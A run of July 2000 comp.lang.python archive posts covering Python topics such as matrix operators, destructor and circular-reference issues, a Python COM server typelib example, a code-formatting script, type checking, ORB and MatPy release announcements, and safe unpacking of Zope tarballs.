>make it more generic than 2-D Matlab (I wouldn't be using it if it
>weren't).  That's why you meet resistance when you seem to want to change
>syntax to make just 2-D Matrix notation easier.  

That is a very good point.  Would you like to summarise some of the design
issues here?  I would be especially interested in seeing some tensor
operations that's candidate for infix notation, like kron, and how they are
currently done.  Some example codes that uses the expressions would be most
helpful, imho.

>I think that 6+5 operators will never fly.  I think we'll be lucky if we
>get four into Python itself.  I suppose if you want to maintain a
>separate patched-interpreter than you can do whatever you feel best about,
>though.. ;-)

Well, as I said, that's not really a proposal.  It's just one way to list
the options so as to be as compatible with everyone as possible.  If we
agree that's the case we can start to suggest what's the best migration
path.  I would be glad to see MatPy and NumPy merge in the future, as long
as both interfaces remain available, as both make sense to a lot of people.

Huaiyu


From shindich at my-deja.com  Mon Jul 10 20:57:57 2000
From: shindich at my-deja.com (shindich at my-deja.com)
Date: Tue, 11 Jul 2000 00:57:57 GMT
Subject: Circular reference problem -- advice?
References: <396A1EC6.6738CFCC@alcyone.com>
Message-ID: <8kdref$j4t$1@nnrp1.deja.com>

In article <396A1EC6.6738CFCC at alcyone.com>,
  Erik Max Francis <max at alcyone.com> wrote:
> I'm fairly new to Python, although it's simple enough that I've
already
> been able to write some fairly involved programs in it (I already know
> C, C++, Perl, etc.).  This question isn't so much about what's going
> wrong, but rather what's the best, most natural way to get around it.
>
> I've come across a problem due to circular references, and I'm not
sure
> what's the best way to tackle it.  In essence, the problem is that I
> need a particular class to keep an associative array of its methods
for
> a lookup table (it's essentially a dispatcher).  But with references
to
> its own bound methods, Python's garbage collector concludes it has
> circular references and thus its destructor never gets called.
>
> Here is a simplified standalone program that demonstrates what I'm
> talking about:
>
> class C:
>     def __init__(self):
>         print "in constructor"
>         self.map = { 'f': self.f, 'g': self.g }
>
>     def __del__(self):
>         print "in destructor"
>
>     def f(self):
>         print "in C.f"
>
>     def g(self):
>         print "in C.g"
>
>     def dispatch(self, name):
>         self.map[name]()
>
> c = C()
> c.dispatch('f')
>
> When run, this program prints
>
>     max at charmaine:~/tmp% ./circ.py
>     in constructor
>     in C.f
>
> and that's it; because of the circular reference, the destructor never
> gets called.
>
> For the application I need, it's imperative that the destructor get
> called.  What is the best way to solve this?  I can think of a few:
>
> - Move the map to a local variable in the dispatching function
> - Make map a lookup table of _unbound_ methods
> - Build a string of the function call and then exec it
>
> What would be the most effective way of getting around this?  I'm
> thinking that using unbound methods would probably be the best way.
>
> --
>  Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
>  __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
> /  \ We'll have to make our own luck from now on.
> \__/ Louis Wu
>     Computer science / http://www.alcyone.com/max/reference/compsci/
>  A computer science reference.
>
Hmm...
It seems to me that there is no need to have this map at all.
Python is an introspective language, so you can easily discover object's
properties at run time by name. Here is my version of your program:

#!/usr/bin/python

class C:
    def __init__(self):
        print "in constructor"

    def __del__(self):
        print "in destructor"

    def f(self):
        print "in C.f"

    def g(self):
        print "in C.g"

    def dispatch(self, name):
        func = getattr (self, name)
        apply (func, [])


c = C()
c.dispatch('f')

This is the output:
>>>in constructor
>>>in C.f
>>>in destructor

I hope this helps!

Alex Shindich
http://www.shindich.com/


Sent via Deja.com http://www.deja.com/
Before you buy.


From weeks at golden.dtc.hp.com  Sat Jul 29 20:41:38 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 30 Jul 2000 00:41:38 GMT
Subject: "always passes by reference"
References: <8lqd0p$snj$1@news.dtc.hp.com> <LNBBLJKPBEHFEDALKOLCIEENGMAA.tim_one@email.msn.com> <8lqiq3$7iha$1@nntp6.u.washington.edu> <8ls8bm$cde$1@news.dtc.hp.com> <39829E5D.45357D37@innuendo.de>
Message-ID: <8lvtk2$8pa$1@news.dtc.hp.com>

Ulrich Schreiner (ulrich.schreiner at innuendo.de) wrote:
: it is all so easy, so why this big discussion?

: you have ONE and exactly ONE object identity, but you can have multiple
: references to this identity. in your program you always work with
: references.

So you phase it.  I would never talk that way myself, and if someone asked
me to describe what was going on, I would use quite different words, eg:
Each object is the address of a region of memory -- an address that can be
written to multiple locations.  You prefer to think of the object as a
region of memory [I think], and you define a writing of that memory's
address to be a "reference".  I prefer to think of the object as an
address, and I don't give any special name to a writing of that address.

There is no right or wrong here, but there is also no single correct
description of what is going on.  Some say Python is call-by-reference,
some say Python is call-by-value.  Everyone is correct.


Greg


PS: My motivation for my particular phasing is that I like to view all data
in the computer as patterns of 0s and 1s.  (I find this tidy and easy to
remember.)  An address is a pattern of 0s and 1s.  A block of memory is
not.  So, for me, a datum can be an address, but not a block of memory.


From paul at prescod.net  Sat Jul 22 01:02:27 2000
From: paul at prescod.net (Paul Prescod)
Date: Sat, 22 Jul 2000 00:02:27 -0500
Subject: Discussion: new math operators
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <slrn8nhu0m.qn.hzhu@rocket.knowledgetrack.com> <39792429.BB6163E8@roguewave.com>
Message-ID: <39792AE3.84237196@prescod.net>

Bjorn Pettersen wrote:
> 
> ...
> 
> I have seen no agreement on this, and I can only assume that if they're
> made available new and "useful" meanings would be found for all of
> lists, tuples, and dictionaries.  This has certainly been the case in
> other languages.

I don't think that will happen in Python. The goal is not to extend
"typical Python" but to make it Matrix-friendly. If you start doing .+
and .* in Python code, Python would become very hard to read and not
only when you were using matrices, but always.

> ps: did you read the APL/J pages?

I don't know if it is really useful to skim another languages' design.
Language issues are often deep and a surface examination may not turn up
the reasons that choices were made.

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From donn at u.washington.edu  Tue Jul 11 12:43:35 2000
From: donn at u.washington.edu (Donn Cave)
Date: 11 Jul 2000 16:43:35 GMT
Subject: zope and UNIX permissions
References: <8kdlcc$epr$1@nnrp1.deja.com>
Message-ID: <8kfirn$41r4$1@nntp6.u.washington.edu>

Quoth shikida at my-deja.com:
| We tried to install zope using its tar.gz file and it created a lot of
| files with non-default users and with very permissive permissions on a
| linux box (like 777 permissions for many files).
|
| This is a HUGE security hole. We couldn't install the RPMs files on our
| webserver. Is there any decent zope source code distribution?

I don't know about Zope, but if you unpack tar.gz files from the net
 - as root and
 - don't monitor which files are installed that way and
 - don't change the ownerships and protections afterwards,
then you are the huge security hole.  One way to handle this is 

 chown bin .; gzip -d -c bla-0.0.tar.gz | su bin -c 'tar xvf -'

then monitor the files as the tar proceeds.  All files will be owned
by "bin" (per your UID scheme, not the author's), no file owned by
root can be overwritten, and permissions will be limited by umask value.
(You'd have to check that last one - I'm assuming tar on your platform
is implemented correctly, and then there's the question of what umask
value you get with su bin -c '...'.)

	Donn Cave, University Computing Services, University of Washington
	donn at u.washington.edu



From billtut at microsoft.com  Thu Jul 13 12:28:22 2000
From: billtut at microsoft.com (Bill Tutt)
Date: Thu, 13 Jul 2000 09:28:22 -0700
Subject: TypeLib for Python COM Server?
Message-ID: <4D0A23B3F74DD111ACCD00805F31D8101D8BD2CD@RED-MSG-50>

Don't rely on the 1000 thing. You should specifically declare the dispid's
in the Python class.

Bill

 -----Original Message-----
From: 	Stefan Migowsky [mailto:smigowsky at dspace.de] 
Sent:	Thursday, July 13, 2000 1:16 AM
To:	python-list at python.org
Subject:	RE: TypeLib for Python COM Server?

Hi,

there is no general support for typelib generation. But as I know all
propertiues and methods of a Python COM Server start with the dispid 1000.

So writing the IDL File by hand is no problem. Just take the same GUIDs,
Names and the right DispID. So here is a little example : 

Python File : 

_reg_clsid_ = "{5B24BFC0-EF45-11d3-9B5F-0090274354BC}"
_reg_libname_ = "PythonComInterpreter Typelib"

class PythonComInterpreter:
    """Interface PythonComInterpreter"""

    _public_methods_ = ['Exec','Eval']

    _reg_progid_     = "PythonComInterpreter"
    _reg_verprogid_  = "PythonComInterpreter.1"
    _reg_clsid_      =  '{281AC1E3-E3D2-11D3-9B37-00902722BDE1}'
    _reg_desc_       = "PythonComInterpreterClass"
    _reg_class_spec_ = "PythonComInterpreter.PythonComInterpreter"

           
    def __init__(self):
        self.Dict = {}
        self.Dict["__name__"] = "__main__"
        self.Dict["__builtins__"] = __builtins__
        self.Dict["__doc__"] = ""

    def Exec(self, Cmd):
        exec str(Cmd) in self.Dict

    def Eval(self, Cmd):
        return eval(str(Cmd),self.Dict)


if __name__ == '__main__':
  print 'Registering Python COM Server ...'
  import win32com.Server.register
  win32com.Server.register.UseCommandLine(PythonComInterpreter)
  print 'Registering finished'

######################################################################
Corresponding IDL File:
######################################################################

[
  uuid(5B24BFC0-EF45-11D3-9B5F-0090274354BC),    // _reg_clsid_ Typelib
  version(1.0),
  helpstring("PythonComInterpreter 1.0 Type Library")
]
library Interpreter
{    
    importlib("STDOLE2.TLB");

    // Forward declare all types defined in this typelib
    dispinterface IPythonComInterpreter;

    [
      uuid(281AC1E3-E3D2-11D3-9B37-00902722BDE1), // _reg_clsid_
PythonComInterpreter Class
      helpstring("PythonComInterpreter Class")
    ]
    coclass PythonComInterpreter {                // _reg_progid_
PythonComInterpreter Class
        [default] dispinterface IPythonComInterpreter;
    };

    [
      uuid(F8887DE1-EF58-11D3-9B5F-0090274354BC),
      helpstring("IPythonComInterpreter Interface")
    ]
    dispinterface IPythonComInterpreter {
        properties:
        methods:
            [id(1000), helpstring("Executes a Pythonstatement")]
            VARIANT Exec([in] BSTR cmd);
            [id(1001), helpstring("Evals a Pythonstatement")]
            VARIANT Eval([in] BSTR cmd);
    };
};


	Stefan


>-----Original Message-----
>From: mlp at amrose.dk [mailto:mlp at amrose.dk]
>Sent: Wednesday, July 12, 2000 1:37 PM
>To: python-list at python.org
>Subject: TypeLib for Python COM Server?
>
>
>hi all.
>
>i'm in a situation where i'd like to have a typelib for a python com
>server, for use in a c++ client.
>
>i tried to just use midl on an idl i made to reflect the interface of
>the python server.  this didn't work out, since when compiling the
>client code the tlb file is not recognized.
>
>my question: is there an automatic, easy, or standard, way to produce a
>typelibrary for a com server implemented in python?  if not, is it
>possible at all?  if so, could anybody help me with the details?  a
>complete example would be splendid!
>
>python rules!
>'gards,
>morten lind petersen, denmark
>
>
>Sent via Deja.com http://www.deja.com/
>Before you buy.
>-- 
>http://www.python.org/mailman/listinfo/python-list
>

-- 
http://www.python.org/mailman/listinfo/python-list



From cut_me_out at hotmail.com  Sat Jul  8 21:13:02 2000
From: cut_me_out at hotmail.com (Alex)
Date: 08 Jul 2000 21:13:02 -0400
Subject: Removing unstylish spaces
Message-ID: <etdg0pkumw1.fsf@w20-575-115.mit.edu>

Reading Code Complete and The Pragmatic Programmer at the same time can
make you do some silly things.  I learned recently that it's not stylish
to have a space between a function name and the opening parethesis of
its argument list, so I kludged something together to remove most of
them from my code.  I thought I would make it available here, in case
anyone else is so frivolously minded. :)

Alex.

#!/usr/bin/env python

'''Finds all *.py files beneath the cwd, looks in them for opening
parentheses preceded by a space, and removes the space if it thinks
it\'s part of a function call.

If you use it without backing your files up, you\'re an idiot.  That
said, it\'s pretty paranoid about trying not to stuff files up, and
will save a copy of file.py in file.py.bak, if it decides to modify
it.

You can do as you wish with this code, even attribute it to yourself,
if you\'re in a plagiaristic mood.'''

import os, string, re, shutil, sys

class File_getter:
    
    def __init__ (self, paths):
        self.filenames = []
        for path in paths:
            os.path.walk (os.path.expanduser (path), self.callback, None)
            
    def callback (self, dummy, directory, filenames):
        filenames = filter (re.compile ('\.py$').search, filenames)
        filenames = map (os.path.join, len (filenames) * [directory],
                         filenames)
        self.filenames.extend (filenames)

want_to_keep_the_space_p = re.compile (
    '(([^%s](' % (string.letters + '_') + \
    string.join (['if',     'and',    'or',   'else', 'assert',
                  'while',  'return', 'exec', 'del',  'for',
                  'not',    'raise',  'in',   'is',
                  '[-^<>=+*%~:]'],
                 '|') + \
    '))|[-^<>=+*%~:]|\d)$').search

assert     want_to_keep_the_space_p (')and')
assert     want_to_keep_the_space_p ('5 %')
assert not want_to_keep_the_space_p ('"%s" % str(4)')

def clean_brackets(filename):
    '''Find brackets proceeded by spaces in the python file filename,
    and remove the spaces unless they are proceeded by a keyword or symbol.
    '''
    
    file = open(filename).read()
    file_copied_p = None

    # ...first, get rid of confusing carriage returns
    file = string.replace (file, '\r\n', '\n')

    # Check that we don't get any false positives from an existing
    # syntax error.
    try:
        compile(file, 'test', 'exec')
    except SyntaxError: # Ignore file if we do.
        return None
    
    start = 0
    while 1:
        candidate = string.find(file, ' (', start)
        if candidate == -1: # No more found
            break

        # This could skip ahead two, if a space is removed.
        start = candidate + 1 

        # Check that the bracket is in a coding region of the file
        # by seeing if removing it induces a syntax error.
        assert file[candidate: candidate + 2] == ' ('
        mutated_file = file[:candidate] + file[candidate + 2:]
        try:
            compile(mutated_file, 'test', 'exec')
        except SyntaxError:

            # This is part of a coding region of the file, amend it.
            # in the rest of the loop.
            pass
        else:

            # Removal had no effect on syntactical correctness of the
            # file, it must be irrelevant.
            continue

        # If this is the first amendment to the file, take a copy of
        # it, in case this screws up.
        if not file_copied_p:
            shutil.copyfile(filename, filename + '.bak')
            file_copied_p = 1

        # Get the word/symbol prior to the bracket.
        # ...get the start of the current line
        line_start = string.rfind (file, '\n', 0, candidate)
        if line_start == -1: # No prior newline, must be on first line.
            line_start = 0
        else:                # Jump past the newline.
            line_start = line_start + 1
        # ...get the word
        words = string.split (file[line_start: candidate])
        if len (words) == 0: # Just whitespace prior to the bracket, ignore.
            continue
        prior_word = words[-1]

        if not want_to_keep_the_space_p (prior_word):
            assert file[candidate] == ' '
            file = file[:candidate] + file[candidate + 1:]

    if file_copied_p: # Must have been modified, too.  Save it.
        try:
            compile(file, 'test', 'exec')
        except SyntaxError:
            raise 'Stuffed up the syntax of ' + filename
        else:
            open(filename, 'w').write(file)
        
if __name__ == '__main__':
    agreement = 'Yes_I_want_to_run_this_poorly_understood_code_' \
                'over_all_python_files_below_my_cwd.'
    if (len(sys.argv) != 2) or (sys.argv[1] != agreement):
        print 'Usage:'
        print sys.argv[0], agreement
        sys.exit (1)

    for filename in File_getter([os.getcwd ()]).filenames:
        print filename
        clean_brackets(filename)
    


From alan.gauld at gssec.bt.co.uk  Fri Jul 28 12:22:43 2000
From: alan.gauld at gssec.bt.co.uk (Alan Gauld)
Date: Fri, 28 Jul 2000 17:22:43 +0100
Subject: Color, "DOS" programs, locate...
References: <uDiPyqN9$GA.240@cpmsnbbsa09>
Message-ID: <3981B353.404D516D@gssec.bt.co.uk>

Jim Hribar wrote:
> Where can I get information on using Python for text based programs,
> specifically formatting the screen, changing colors, etc.  

In DOS mode you need to write ANSI control codes to the screen

> I'm using Python for Windows. 

If you want to do it in real windows you need the winall package
and use the MFC GDI capability in the Windows API. - Thats hard!

Alternatively use Tkinter which has seveal ways to display text.

See my online tutor for some examples. Look at the end of the
event driven chapter and also the end of the case study. Then
check the Tkinter documentation on the Python web site for
details of setting color.

http://www.crosswinds.net/~agauld/

> I saw something called the "curses" module, but doesn't seem to
> be for Windows.

There is a DOS version but you don't want it, Tkinter 
is your best bet. IMHO...

Alan G

-- 
=================================================
This post represents the views of the author 
and does not necessarily accurately represent 
the views of BT.


From cjc26 at nospam.cornell.edu  Mon Jul 17 19:31:09 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Mon, 17 Jul 2000 23:31:09 GMT
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net>
Message-ID: <slrn8n75t5.4cc.cjc26@synecdoche.sowrong.org>

* Paul Prescod <paul at prescod.net> menulis:
| Matthew Cline wrote:
| > 
| >   def my_func(foo, bar, quux):
| >      if not isinstance(quux, Quux):
| >         raise RuntimeError("param 'quux' must be of class 'Quux'")
| 
| Let me also point out that in many cases, this style of programming
| would be frowned upon by serious Python programmers. For instance, if
| you check that something is a string, your code will complain when it is
| handed a Unicode string, even though it would probably work fine. If you
| check that it is an open file, then your code probably will complain
| about stringIO file-like objects, even though it would probably work
| fine. If you check that it is an integer, your code will complain about
| integers, even though ti would probably work fine.

In that case, it'd be more useful to check if a particular object
implements certain methods, rather than to check if it inherits from a
particular class.  For example, if you need a file-like object and you
know you will be calling its readlines() method, then you can just call

    getattr(obj, "readlines")

beforehand; if it doesn't raise an AttributeError then you're all
set.

I don't ever actually >do< that in my own code, though. ;)


| In general, the Python philosophy is to "just try it" and see if it
| works. Sometimes type checks are appropriate but if you do it on the
| entry to every function, you are probably doing too much work and making
| your own life (or someone else's) harder later on.


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From dgrisby at uk.research.att.com  Fri Jul 14 11:38:52 2000
From: dgrisby at uk.research.att.com (Duncan Grisby)
Date: 14 Jul 2000 15:38:52 GMT
Subject: ANNOUNCE: omniORBpy 1.0 is now available
Message-ID: <8knc6c$mp1$1@pegasus.csx.cam.ac.uk>

AT&T Laboratories Cambridge is pleased to announce the release of
omniORBpy version 1.0.

omniORBpy is a robust, high-performance CORBA 2.3 ORB for Python. It
is available for free, under the terms of the GNU General Public
License; the libraries are under the GNU Lesser General Public
License.

Technical features:

  - Fully adheres to the OMG standard Python mapping.

  - Support for the Portable Object Adapter (POA).

  - Support for the Interoperable Naming Service (INS).

  - Strict 2.3 compliant IDL compiler. With the new compiler, it is
    easy to write your own customised code generators, using Python.

  - The omniORBpy runtime is fully multithreaded.

  - A persistent COS Naming Service, omniNames, is provided. 


omniORBpy 1.0 is available for many Unix platforms, Windows, and a
number of other operating systems. Pre-compiled binaries are available
for Windows (NT, 2000, and 9x), Solaris 2.5, Linux glibc2.1, HPUX 11,
and Irix 6.5.

For more details, and to download omniORBpy 1.0, see

  http://www.uk.research.att.com/omniORB/omniORBpy/


-- 
 -- Duncan Grisby  \  Research Engineer  --
  -- AT&T Laboratories Cambridge          --
   -- http://www.uk.research.att.com/~dpg1 --


From kare at speech.kth.se  Tue Jul 25 10:09:33 2000
From: kare at speech.kth.se (Kare Sjolander)
Date: Tue, 25 Jul 2000 16:09:33 +0200
Subject: joakim_g
References: <397C7363.3BAF0381@speech.kth.se>
Message-ID: <397D9F9D.1D925CAE@speech.kth.se>

Sorry, all readers of comp.lang.python, for posting that list. Stupid
mistake. To readers proficient in Scandinavian languages I just want to
say that the message was intended as a complaint about the sort of words
occurring in the list.

Regards
Kare




From rupole at compaq.net  Thu Jul 20 18:51:10 2000
From: rupole at compaq.net (Roger Upole)
Date: Thu, 20 Jul 2000 22:51:10 GMT
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com>
Message-ID: <vnLd5.27741$r9.839310@news.easynews.com>

I must take exception to your insistence that
   "Everything should be done ONCE, and only ONCE.  In ONE
   place in the code."
Besides sounding didactic, it is also completely false.  In many cases,
an initial read is necessary to determine how (or even if) the rest of a
file will be processed.  Also, different code may need to be called if
the file is empty.
Additionally, this overly simplistic programming style would be completely
inadequate for most involved programming tasks.
              Roger Upole

"Alex Martelli" <alex at magenta.com> wrote in message
news:8l73an01lgb at news2.newsguy.com...
> "Roger Upole" <rupole at compaq.net> wrote in message
> news:hMrd5.49275$e6.2860918 at pouncer.easynews.com...
> > Using an initial read is a common enough idiom in any language.
>
> It is extremely rare in languages which allow assignment in
> expressions, and would normally denote lack of familiarity
> with the language's idioms.
>
> > f=open('filename','r')
> > fline = f.readline()
> > while fline:
> >     ....
> >     fline = f.readline()
>
> Everything should be done ONCE, and only ONCE.  In ONE
> place in the code.  This expands the abstract operation
> "get next thingy if any" in two places, just because of a
> language quirk.
>
> > >     def readline(self):
> > >         line = self.source.readline()
> > >         self.line = line
> > >         return line             # may be empty, thus false
>
> I don't see why not just:
>
>     def readline(self):
>         self.line = self.source.readline()
>         return self.line
>
> Seems to have exactly the same semantics; the local-variable
> line does not appear to be playing any role.
>
>
> > > could somebody enlighten me, please? and is there any easier way to
> > > iterate over lines in a file without resorting to ugly break
statements?
>
> The fileinput module does just that in a very elegant way, IMHO:
>
> import fileinput
>
> for line in fileinput.input("myfile.txt"):
>     # do whatever you wish with line
>
>
> Alex
>
>
>




From hzhu at users.sourceforge.net  Wed Jul 26 18:33:28 2000
From: hzhu at users.sourceforge.net (Huaiyu Zhu)
Date: Wed, 26 Jul 2000 22:33:28 GMT
Subject: MatPy-0.3.0 released
Message-ID: <slrn8nuq13.7fp.hzhu@rocket.knowledgetrack.com>

MatPy-0.3.0 is released.  This is a major release, with several interface
changes, bug fixes and many enhancements.

MatPy (Matrix package for Python) provides an alternative interface to NumPy
that is more familiar to Matlab users.  The home page contains many links.

Home Page:      http://MatPy.sourceforge.net 
Download:       http://download.sourceforge.net/MatPy/ 
Release Notes:  http://MatPy.sourceforge.net/RELEASE_NOTES

Many changes are made in this release. Please read the Release Notes.
Here's a summary of the main points: 
- The methods .T .H .I .C etc no longer need () 
- Major bug fix for mfunc 
- Finding functions by lookfor(keyword). 
- Histogram plotting. 
- Elementwise comparisons. 
- Docstrings for all functions.
- Named elementwise and matrixwise functions.
- Augmented assignment.
- some others 

This is an open source project under the GNU Public Licence.  Any
contribution (including questions) is welcome.  The homepage has all the
links.  Please also see the TODO file for some ideas.

It is known to work on Linux, Solaris and Windows, possibly others.  On
Unix-like systems (including Windows with CygWin), installation can be as
simple as typing 'make insatll'.  See the file INSTALL for details.

Enjoy,

Huaiyu

-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From peter at schneider-kamp.de  Thu Jul 20 21:00:03 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Fri, 21 Jul 2000 01:00:03 +0000
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <397681C6.FEAEE2E@my.signature> <ur6ens0t2evouijdsi70bsbb5p831meh4n@4ax.com> <397746AE.3CCDD423@schneider-kamp.de> <700fnsknn7k7fp22au924m2cprk04ghfic@4ax.com>
Message-ID: <3977A093.5F98A59C@schneider-kamp.de>

Ben Wolfson wrote:
> 
> >>> marry([1,3,5],[2,4,6])
> ([1, 2], [3, 4], [5, 6])
> >>> divorce([1,2,3,4,5,6])
> ([1, 3, 5], [2, 4, 6])

<excited>
I absolutely truly *LOVE* this. That's great.
Man, you made my day!
</excited>

zip() / unzip() sounds just so technical.

Peter

P.S.: But what about the costs of divorce?
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From robert.kiendl at delphi2.de  Tue Jul 18 06:21:42 2000
From: robert.kiendl at delphi2.de (Robert Kiendl)
Date: Tue, 18 Jul 2000 12:21:42 +0200
Subject: swig: modifying wrap function generation
Message-ID: <39742FB6.BB16783A@delphi2.de>

I have to modify a lot of my exported functions in the following way:

// myapp.i

class CMyClass {
  ...

  void NormalFunction(int par1, char* par2);

  //BOOL CriticalFunction(int par1);
  %addmethods {
    BOOL CriticalFunction(int par1) {
        CAllowThreads _t;
        return self->CriticalFunction(par1);
    }
  }

  ...
}

is there a way to just mark CriticalFunction with something in order to
get extra code lines into the wrap function?

robert
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000718/6eb579ec/attachment.html>

From matt at nightrealms.com  Mon Jul 17 00:13:12 2000
From: matt at nightrealms.com (Matthew Cline)
Date: Sun, 16 Jul 2000 20:13:12 -0800
Subject: Wishlist sumbission form?
Message-ID: <eWuc5.40515$MT.1447099@news-west.usenetserver.com>

Is there any way of submitting feature requests for Python,
other than by filing a bug report?

Thanks in advance.




From peter at schneider-kamp.de.bbs  Mon Jul 17 18:20:03 2000
From: peter at schneider-kamp.de.bbs (peter at schneider-kamp.de.bbs)
Date: 17 Jul 2000 22:20:03 GMT
Subject: [Patch] {l,r}just with optional pad character parameter
Message-ID: <3bRRJ7$kGE@openbazaar.net>

Moshe Zadka wrote:
>
> In the face of ambiguity, refuse the temptation to guess!!!!!
>
> "GvR".ljust(6, "12")
> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
> ValueError: second argument to ljust must be of length 1

So what exactly did you want to express with that?

I knew that it only takes strings of length 1 right now.
My questions were directed to Thomas' question
"Why not allow multiple characters as padding ?".

better-read-the-quoted-text-too-<wink>-ly y'rs
peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de


From loewis at informatik.hu-berlin.de  Mon Jul  3 07:05:25 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 03 Jul 2000 13:05:25 +0200
Subject: PYRO, XML-RPC, and their friends.
References: <8jpm3d$6ss$1@nnrp1.deja.com>
Message-ID: <p6qn1jzxymi.fsf@informatik.hu-berlin.de>

Stephen Hansen <stephen at cerebralmaelstrom.com> writes:

> I've discovered recently that I have a need for some Client/Server db
> fucntionality in the python project that i'm working on. What I don't
> want is to have to deal with installing some Big Bunch Of Crap that
> will be needed to support my program, and even though I know nothing
> about ODBC, it seems like that would include more baggage then its
> worth in this instance..

I don't know what database you are going to use, but I believe that
odbc would indeed be the soluation that involves the least amount of
extra stuff. For example, Python-Win comes with an odbc module, and
there is also at least one other odbc module that would work in a
plain python installation, as well.

> have my little windows program run on Linux

It is possible to use odbc on Linux, as well. Depending on the
database, it may even be easy to do so.

> Anyways. It might be a bit overly complicated in and of itself, but the
> way i've thought of doing it is just setting up PYRO, XML-RPC, etc, to
> communicate between my Server and its Clients, to then access a MetaKit
> controlled on the server.

For completeness, I'd like to add CORBA in this candidate list; the
implementation with least installation overhead is probably Fnorb
(only one C module, which comes precompiled for Windows).

> #1) How fast are these?

Some of these are only protocols, which you can't compare for
performance - you'd have to compare concrete implementations. I don't
think anybody has done significant benchmarking on them, so far, but I
guess they are "fast enough".

> I don't know how long it'd take one of these systems to send across
> a multi-megabyte binary file.

I hope most of them would achieve approximately the raw wire speed for
bulk transfer, or be at least comparable to any other bulk data
protocol. Most of these will require to copy the bulk data in memory a
number of times, which would be the primary source of overhead.

> The rest of the data i'd be sending would be irrelevant in
> comparison.

That is only true if you have only "few" calls. If you have "many"
calls, it is actually the number of calls that matters, not the amount
of data transferred.

Regards,
Martin


From theebh at yahoo.com.bbs  Mon Jul 17 22:00:02 2000
From: theebh at yahoo.com.bbs (theebh at yahoo.com.bbs)
Date: 18 Jul 2000 02:00:02 GMT
Subject: Zope newbie
Message-ID: <3bRX61$jW6@openbazaar.net>

In article <3973347E.B73015F4 at eq.uc.pt>,
  Pedro Vale Lima <eq3pvl at eq.uc.pt> wrote:
> coughlan at gothaminteractive.com wrote:
>
> > I've just installed Zope on Linux, and the documentation that comes
> > with it refers almost exclusively to NT!?  There is very little on
Zope
> > with Apace.
> >
> > Does anyone know of a URL or forum to get a decent tour of Zope on
> > Linux?  zope.com is also *very* dissappointing.
>
> The website is www.zope.org
>
> > It's unclear to me how to even create a hello world program to make
> > sure it's installed and running.  Any advice, would be appreciated.
>
> check in the /doc directory for install information. You don't need
to use
>
> apache to check if Zope works, use Zope internal server instead.
>
> There are serveral ways to use Zope with Apache. For fastcgi, my
> favourite,
> in zope.org check for the fastcgi howto (under documentation-howtos).
>
> regards
>
> pedro
>
>
Zope mailing list is also a good place to start(and ask questions). It
can be found at Zope.org. You can even start posting your question to
the community at zope at zope.org.


Sent via Deja.com http://www.deja.com/
Before you buy.


From johannes at zellner.org  Wed Jul  5 17:28:10 2000
From: johannes at zellner.org (Johannes Zellner)
Date: Wed, 5 Jul 2000 23:28:10 +0200 (CEST)
Subject: cleanup order
Message-ID: <Pine.LNX.4.21.0007052319220.5959-100000@krispc6.physik.uni-karlsruhe.de>

Hi,

suppose I've

    # fred provides `fun'
    import fred

    class Lola:
        def __init__(self, x):
            self.x = x
        def __del__(self):
            fred.fun(self.x)

    x = Lola('hello')
    # end of script

this doesn't work, because fred is not present any more
when x is destroyed. I don't know anything about python's
internals, but I guess the dynamical loaded shared object's
function table is destroyed (somehow) before x is destroyed.

Any comments ? (or even workarounds ?)

-- 
   Johannes




From akuchlin at mems-exchange.org  Tue Jul 11 15:41:26 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 11 Jul 2000 15:41:26 -0400
Subject: off-topic, "Compiler" technology
References: <396ABBD7.8715465D@t-online.de> <slrn8mmtao.tl.hzhu@localhost.localdomain>
Message-ID: <3dog44zc7t.fsf@kronos.cnri.reston.va.us>

hzhu at localhost.localdomain (Huaiyu Zhu) writes:
> OTOH, judging from some prior discussions here, not many developers would
> put in serious effort until a working prototype is here, as many don't
> believe it's feasible to achieve much.

Read some of the compiler-related threads in c.l.tcl first, though;
the compiler seems to be mostly a simple repackaging, and the author
shows signs of Usenet kook-dom, as in
http://www.deja.com/getdoc.xp?AN=642980911, where he says that the
compiler technology used also applies to natural languages.  Time is
probably better spent working on python2c, which is much less
spectacular and much more plausible.

--amk



From petersc at stud.ntnu.no  Wed Jul  5 19:44:29 2000
From: petersc at stud.ntnu.no (Peter Schneider-Kamp)
Date: Wed, 05 Jul 2000 23:44:29 +0000
Subject: readline.c & more
References: <Pine.LNX.4.21.0007052214190.4947-100000@krispc6.physik.uni-karlsruhe.de>
Message-ID: <3963C85D.3924126C@stud.ntnu.no>

Johannes Zellner wrote:
> 
>  ?) I had to modify Objects/fileobject.c because there was a
>     name clash between `getline' there and in /usr/include/stdio.h
>     (as it comes with the latest debian potato). I replaced
